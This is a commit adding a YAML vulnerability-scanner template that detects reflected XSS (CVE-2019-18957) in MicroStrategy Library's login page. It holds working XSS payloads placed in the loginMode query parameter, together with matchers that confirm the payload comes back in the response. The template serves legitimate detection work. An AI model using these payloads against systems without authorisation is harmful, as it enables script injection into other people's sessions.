Create CVE-2019-18957.yaml

cves/2019/CVE-2019-18957.yaml

@@ -0,0 +1,41 @@
+id: CVE-2019-18957
+info:
+  name:  Microstrategy Library before 11.1.3 XSS
+  author: tess
+  severity: medium
+  description: |
+    Microstrategy Library in MicroStrategy before 2019 before 11.1.3 has reflected XSS.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18957
+    - https://www.cvedetails.com/cve/CVE-2019-18957/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-18957
+    cwe-id: CWE-79
+  tags: cve,cve2019,microstrategy,xss
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"
+      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=1%7d;alert(document.domain);window.loadingPageConfig%20=%20%7bpreviousLoginMode:1"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "previousLoginMode: alert(document.domain)"
+          - "alert(document.domain);window.loading"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200